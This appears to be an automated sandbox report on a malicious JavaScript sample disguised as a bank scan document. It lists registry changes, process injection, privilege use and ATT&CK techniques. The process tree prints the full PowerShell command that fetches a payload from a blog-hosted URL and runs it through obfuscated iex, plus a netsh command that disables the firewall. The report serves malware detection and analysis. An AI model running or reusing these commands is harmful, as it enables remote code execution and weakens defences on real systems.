77109ba56a5e70fafe88a10800764ec30d35727c1ff8cdb2934534ae8c7e048b

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-4286256601-2211319207-2237621277-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4286256601-2211319207-2237621277-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-4286256601-2211319207-2237621277-1000\Software\Microsoft\Windows\CurrentVersion\Run\Deissl1 = "schtasks /run /tn Deissl1"	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

20 api.ipify.org
28 api.ipify.org
18 ip-api.com

flow	ioc
20	api.ipify.org
28	api.ipify.org
18	ip-api.com

Suspicious use of SetThreadContext 3 IoCs

Processes:

powershell.exe

description	pid	process	target process
PID 4332 set thread context of 3480	4332	powershell.exe	RegSvcs.exe
PID 4332 set thread context of 3016	4332	powershell.exe	RegSvcs.exe
PID 4332 set thread context of 2312	4332	powershell.exe	Msbuild.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 14 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

dw20.exedw20.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	dw20.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

dw20.exedw20.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe

Modifies registry class 3 IoCs

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-4286256601-2211319207-2237621277-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-4286256601-2211319207-2237621277-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4286256601-2211319207-2237621277-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exeRegSvcs.exe

pid process

4332 powershell.exe
4332 powershell.exe
4332 powershell.exe
4332 powershell.exe
4332 powershell.exe
4332 powershell.exe
3480 RegSvcs.exe
3480 RegSvcs.exe

pid	process
4332	powershell.exe
4332	powershell.exe
4332	powershell.exe
4332	powershell.exe
4332	powershell.exe
4332	powershell.exe
3480	RegSvcs.exe
3480	RegSvcs.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exeRegSvcs.exedw20.exedw20.exe

description	pid	process
Token: SeDebugPrivilege	4332	powershell.exe
Token: SeDebugPrivilege	3480	RegSvcs.exe
Token: SeRestorePrivilege	4916	dw20.exe
Token: SeBackupPrivilege	4916	dw20.exe
Token: SeBackupPrivilege	4916	dw20.exe
Token: SeBackupPrivilege	4916	dw20.exe
Token: SeBackupPrivilege	2868	dw20.exe
Token: SeBackupPrivilege	2868	dw20.exe
Token: SeIncreaseQuotaPrivilege	4332	powershell.exe
Token: SeSecurityPrivilege	4332	powershell.exe
Token: SeTakeOwnershipPrivilege	4332	powershell.exe
Token: SeLoadDriverPrivilege	4332	powershell.exe
Token: SeSystemProfilePrivilege	4332	powershell.exe
Token: SeSystemtimePrivilege	4332	powershell.exe
Token: SeProfSingleProcessPrivilege	4332	powershell.exe
Token: SeIncBasePriorityPrivilege	4332	powershell.exe
Token: SeCreatePagefilePrivilege	4332	powershell.exe
Token: SeBackupPrivilege	4332	powershell.exe
Token: SeRestorePrivilege	4332	powershell.exe
Token: SeShutdownPrivilege	4332	powershell.exe
Token: SeDebugPrivilege	4332	powershell.exe
Token: SeSystemEnvironmentPrivilege	4332	powershell.exe
Token: SeRemoteShutdownPrivilege	4332	powershell.exe
Token: SeUndockPrivilege	4332	powershell.exe
Token: SeManageVolumePrivilege	4332	powershell.exe
Token: 33	4332	powershell.exe
Token: 34	4332	powershell.exe
Token: 35	4332	powershell.exe
Token: 36	4332	powershell.exe
Token: SeIncreaseQuotaPrivilege	4332	powershell.exe
Token: SeSecurityPrivilege	4332	powershell.exe
Token: SeTakeOwnershipPrivilege	4332	powershell.exe
Token: SeLoadDriverPrivilege	4332	powershell.exe
Token: SeSystemProfilePrivilege	4332	powershell.exe
Token: SeSystemtimePrivilege	4332	powershell.exe
Token: SeProfSingleProcessPrivilege	4332	powershell.exe
Token: SeIncBasePriorityPrivilege	4332	powershell.exe
Token: SeCreatePagefilePrivilege	4332	powershell.exe
Token: SeBackupPrivilege	4332	powershell.exe
Token: SeRestorePrivilege	4332	powershell.exe
Token: SeShutdownPrivilege	4332	powershell.exe
Token: SeDebugPrivilege	4332	powershell.exe
Token: SeSystemEnvironmentPrivilege	4332	powershell.exe
Token: SeRemoteShutdownPrivilege	4332	powershell.exe
Token: SeUndockPrivilege	4332	powershell.exe
Token: SeManageVolumePrivilege	4332	powershell.exe
Token: 33	4332	powershell.exe
Token: 34	4332	powershell.exe
Token: 35	4332	powershell.exe
Token: 36	4332	powershell.exe
Token: SeIncreaseQuotaPrivilege	4332	powershell.exe
Token: SeSecurityPrivilege	4332	powershell.exe
Token: SeTakeOwnershipPrivilege	4332	powershell.exe
Token: SeLoadDriverPrivilege	4332	powershell.exe
Token: SeSystemProfilePrivilege	4332	powershell.exe
Token: SeSystemtimePrivilege	4332	powershell.exe
Token: SeProfSingleProcessPrivilege	4332	powershell.exe
Token: SeIncBasePriorityPrivilege	4332	powershell.exe
Token: SeCreatePagefilePrivilege	4332	powershell.exe
Token: SeBackupPrivilege	4332	powershell.exe
Token: SeRestorePrivilege	4332	powershell.exe
Token: SeShutdownPrivilege	4332	powershell.exe
Token: SeDebugPrivilege	4332	powershell.exe
Token: SeSystemEnvironmentPrivilege	4332	powershell.exe

Suspicious use of WriteProcessMemory 38 IoCs

Processes:

wscript.exepowershell.execsc.exeRegSvcs.exeMsbuild.exe

description	pid	process	target process
PID 452 wrote to memory of 4332	452	wscript.exe	powershell.exe
PID 452 wrote to memory of 4332	452	wscript.exe	powershell.exe
PID 4332 wrote to memory of 2848	4332	powershell.exe	csc.exe
PID 4332 wrote to memory of 2848	4332	powershell.exe	csc.exe
PID 2848 wrote to memory of 4480	2848	csc.exe	cvtres.exe
PID 2848 wrote to memory of 4480	2848	csc.exe	cvtres.exe
PID 4332 wrote to memory of 1604	4332	powershell.exe	netsh.exe
PID 4332 wrote to memory of 1604	4332	powershell.exe	netsh.exe
PID 4332 wrote to memory of 3480	4332	powershell.exe	RegSvcs.exe
PID 4332 wrote to memory of 3480	4332	powershell.exe	RegSvcs.exe
PID 4332 wrote to memory of 3480	4332	powershell.exe	RegSvcs.exe
PID 4332 wrote to memory of 3480	4332	powershell.exe	RegSvcs.exe
PID 4332 wrote to memory of 3480	4332	powershell.exe	RegSvcs.exe
PID 4332 wrote to memory of 3480	4332	powershell.exe	RegSvcs.exe
PID 4332 wrote to memory of 3480	4332	powershell.exe	RegSvcs.exe
PID 4332 wrote to memory of 3480	4332	powershell.exe	RegSvcs.exe
PID 4332 wrote to memory of 3016	4332	powershell.exe	RegSvcs.exe
PID 4332 wrote to memory of 3016	4332	powershell.exe	RegSvcs.exe
PID 4332 wrote to memory of 3016	4332	powershell.exe	RegSvcs.exe
PID 4332 wrote to memory of 3016	4332	powershell.exe	RegSvcs.exe
PID 4332 wrote to memory of 3016	4332	powershell.exe	RegSvcs.exe
PID 4332 wrote to memory of 3016	4332	powershell.exe	RegSvcs.exe
PID 4332 wrote to memory of 3016	4332	powershell.exe	RegSvcs.exe
PID 4332 wrote to memory of 3016	4332	powershell.exe	RegSvcs.exe
PID 3016 wrote to memory of 4916	3016	RegSvcs.exe	dw20.exe
PID 3016 wrote to memory of 4916	3016	RegSvcs.exe	dw20.exe
PID 3016 wrote to memory of 4916	3016	RegSvcs.exe	dw20.exe
PID 4332 wrote to memory of 2312	4332	powershell.exe	Msbuild.exe
PID 4332 wrote to memory of 2312	4332	powershell.exe	Msbuild.exe
PID 4332 wrote to memory of 2312	4332	powershell.exe	Msbuild.exe
PID 4332 wrote to memory of 2312	4332	powershell.exe	Msbuild.exe
PID 4332 wrote to memory of 2312	4332	powershell.exe	Msbuild.exe
PID 4332 wrote to memory of 2312	4332	powershell.exe	Msbuild.exe
PID 4332 wrote to memory of 2312	4332	powershell.exe	Msbuild.exe
PID 4332 wrote to memory of 2312	4332	powershell.exe	Msbuild.exe
PID 2312 wrote to memory of 2868	2312	Msbuild.exe	dw20.exe
PID 2312 wrote to memory of 2868	2312	Msbuild.exe	dw20.exe
PID 2312 wrote to memory of 2868	2312	Msbuild.exe	dw20.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\New_ScanDoc#092387CHASEeAdvice.js
1⤵
- Suspicious use of WriteProcessMemory
PID:452

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;$(irm simoubizw.blogspot.com///////////////////////////atom.xml) | . ('i*x').replace('*','e');Start-Sleep -Seconds 6
2⤵
- UAC bypass
- Blocklisted process makes network request
- Registers COM server for autorun
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4332

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uxfqdz1a\uxfqdz1a.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:2848

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5728.tmp" "c:\Users\Admin\AppData\Local\Temp\uxfqdz1a\CSCBA3B8444E65B4789B288C213A648995.TMP"
4⤵
PID:4480

C:\Windows\system32\netsh.exe
"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off -ErrorAction SilentlyContinue
3⤵
- Modifies Windows Firewall
PID:1604

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3480

C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:3016

C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
dw20.exe -x -s 800
4⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:4916

C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
"C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:2312

C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
dw20.exe -x -s 800
4⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:2868

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service